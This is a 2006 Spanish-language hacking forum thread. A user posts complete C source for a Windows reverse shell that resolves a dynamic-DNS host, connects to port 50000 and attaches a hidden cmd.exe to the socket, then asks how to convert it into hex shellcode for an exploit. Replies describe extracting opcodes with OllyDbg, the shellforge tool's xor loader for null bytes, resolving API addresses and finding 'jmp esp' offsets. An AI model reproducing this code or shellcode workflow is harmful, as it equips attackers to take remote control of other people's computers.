elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 08:47  


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Como paso a hexadecimal un codigo escrito en c?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Como paso a hexadecimal un codigo escrito en c?  (Leído 2,662 veces)
G3r4rD

Desconectado Desconectado

Mensajes: 34


Ver Perfil WWW
Como paso a hexadecimal un codigo escrito en c?
« en: 10 Febrero 2006, 13:58 »

Este es el codigo que quiero pasar a codigos hexadecimales.

Código:
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment (lib,"ws2_32")

int main()
{
  HANDLE ht = 0;
  WSADATA wsaData;
  struct hostent *hServ;
  SOCKET hSocket;
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  struct sockaddr_in adik_sin;
  memset(&adik_sin,0,sizeof(adik_sin));
  memset(&si,0,sizeof(si));
  WSAStartup(MAKEWORD(2,0),&wsaData);
  hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
  adik_sin.sin_family = AF_INET;
  adik_sin.sin_port = htons(50000);
  hServ=gethostbyname("unhostcualquiera.dnsalias.com");
  adik_sin.sin_addr=*((struct in_addr *)hServ->h_addr);
  connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
  si.cb = sizeof(si);
  si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
  si.wShowWindow = SW_HIDE;
  si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
  CreateProcess(NULL,"cmd.exe",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
  return 1;
}

Es una shell normal simplemente que resuelve host ya que todas las que he encontrado tienes que poner siempre la ip

En línea
BenRu
The Prodigy


Desconectado Desconectado

Mensajes: 4.004


Ver Perfil
Re: Como paso a hexadecimal un codigo escrito en c?
« Respuesta #1 en: 10 Febrero 2006, 15:30 »

No se si lo que te voy a decir funcionara, o te estare diciendo una tonteria.

Compila el programa y lo abres con un editor hexagesimal como HexWorkshop, HexEditor,etc.
 Supogno que tendra que ir bien  :rolleyes:
En línea
Endymion

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Como paso a hexadecimal un codigo escrito en c?
« Respuesta #2 en: 11 Febrero 2006, 23:25 »

a q le llamas pasar a hexa? queres pasarlo a binario para meterlo dentro d un exe? xq el tema de los includes no se pasa asi d una, figuran en el asm como external links y bla, q es lo q queres hacer con ese codigo?
En línea
dxr
Colaborador
***
Desconectado Desconectado

Mensajes: 2.991



Ver Perfil
Re: Como paso a hexadecimal un codigo escrito en c?
« Respuesta #3 en: 12 Febrero 2006, 13:50 »

Vale lo que creo q kiere hacer es simple... lo que el quiere es poner esa "shellcode" en un epxloit y para ello kiere pasar ese codigo a opcodes... no???
En línea

Hacer preguntas concretas, claras y aportando toda la documentación necesaria.
De lo contrario, no tendreis una respuesta clara.
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Como paso a hexadecimal un codigo escrito en c?
« Respuesta #4 en: 13 Febrero 2006, 08:29 »

va.. si lo que quieres es hacer lo que dijo DEREK_X
Código:
Usage: shellforge [-v <verb>] [-a] [-z] [-s|-S] [-C|-R|-A] [-t[t]] [-k[k]] <src.c>
  -v <verb> : adjust verbosity. Default is 1.
  -V        : return version number.
  -a        : input file is ready to use assembly language
  -A        : output is assemby languange
  -C        : ouput c instead of raw shellcode.
  -R        : raw output (no escape sequences)
  -t        : output the code to a file (.tst.c) and compile it (imply -c).
  -tt       : same as -t, then try to run it.
  -k        : keep intermediate files (.s and .o, or .tst and tst.c with -tt).
  -kk       : even keep .s and .o if in -tt mode.
  -x        : xor loader to avoid zero bytes
  -s        : relocate stack, incompatible with -S
  -S        : save/restore all registers (need a working stack, incompatible with -s)
 --in       : input format : 'C' or 'asm' or 'code'
 --out      : output format :  'C' or 'asm or 'raw'
 --loader   : loder : 'none' or 'xor' or 'alpha'

Anexo el programa.
Saludos!!
En línea

G3r4rD

Desconectado Desconectado

Mensajes: 34


Ver Perfil WWW
Re: Como paso a hexadecimal un codigo escrito en c?
« Respuesta #5 en: 13 Febrero 2006, 21:07 »

Lo que necesito es lo que dice DEREK_X, por cierto esa herramienta no la conocia esta muy bien, pero he estado buscando y no veo una version para windows que es lo que yo necesitaria ¿conoceis alguna version para windows o una herramienta similar con version para wiindows?
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Como paso a hexadecimal un codigo escrito en c?
« Respuesta #6 en: 13 Febrero 2006, 22:24 »

Esta programada en phyton..
"Si la montaña no va a mahoma, mahoma va a la montaña"

De todas formas.. puedes compilar en windows..

Saludos!!
En línea

Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: Como paso a hexadecimal un codigo escrito en c?
« Respuesta #7 en: 13 Febrero 2006, 23:26 »

La otra opcion es compilarlo y abrirlo con el Olly o alguno similar, y copiar los valores que aparecen en una de las columnas, que serian los opcodes. agrupados de 2 en 2.

La herramienta que comenta sidarckat es muy buena, sobre todo porque entre otras cosas cuenta con un loader para encargarse automaticamente con xor de los valores nulos (0), lo cual es realmente practico, pero creo que si recien estas empezando G3r4rD te conviene usar el metodo que te comento, para entender bien que es lo que se hace, y como se hace para evitar los caracteres nulos... una vez perfectamente entendido eso, si, a automatizar!

Saludos

En línea

:: I was born ready motha fucka ::
G3r4rD

Desconectado Desconectado

Mensajes: 34


Ver Perfil WWW
Re: Como paso a hexadecimal un codigo escrito en c?
« Respuesta #8 en: 14 Febrero 2006, 16:04 »

He ya lo intente con el ollydbg pero cuando selecciono el codigo y hago binary copy me keda mal referenciado

Ejemplo:

...
...
4010A0 Call [428000]
...
...
428000 77665488 //aki estaria la direccion a la que hace referencia el call por ejemplo connect "77665488 esto no tiene ningun sentido me lo he inventado ahora mismo no se el offet de connect"

Si yo copio esto, los call estan mal referenciados y los jumps tb, he probado cambiando desde el olly directamente meter en los call directamente la direccion a la que se debe hacer el salto pero luego me pasa que como no esta cargada la libreria winsock me dice que no se puede leer la memoria nose... estoy despistado
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Como paso a hexadecimal un codigo escrito en c?
« Respuesta #9 en: 14 Febrero 2006, 17:48 »

Si, es lógico, tampoco funcionaran los strings, "hostcualquiera.com" etc..
por eso yo siempre que trabajo con Shellcodes lo hago desde el principio en ASM, asi no tengo problemas.. de todas formas es exactamente lo mismo..

Saludos!!
En línea

Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Como paso a hexadecimal un codigo escrito en c?
« Respuesta #10 en: 15 Febrero 2006, 20:33 »

Es como dice Sirdar. Hay referencias a variables que existen cuando corres el programa compilado pero cuando sacas al code a parte las perdes.
Vas a tener que usar asm y para empezar podes buscar las dir de las funciones(connect, bind, gethostbyname, etc) con GetProcAddress, luego de hacer un LoadLibrary por supuesto. Luego con un programa que esta en este foro te buscas el offset de algun jmp esp. O por code podes cargar la dll y luego revisar su espacio de memoria por algun opcode jmp esp.
Esta bien que todo esto solo va a funcionar en tu so, pero mas adelante podes meterte a resolver los hash de las funciones a partir del PE. Hay un texto aca de como hacerlo muuuuuuy bueno.
Bytes.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Como recuperar lo que habia escrito en el navegador?
Dudas Generales
$Edu$ 10 1,812 Último mensaje 2 Febrero 2012, 23:14
por kub0x
Como paso mi codigo java para ejecutarlo en android?
Programación General
Norlak 0 321 Último mensaje 6 Marzo 2012, 11:51
por Norlak
Como ver passwords que se han escrito en navegadores, en una wifi?
Hacking Básico
puntoinfinito 1 771 Último mensaje 3 Abril 2012, 12:47
por el-brujo
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines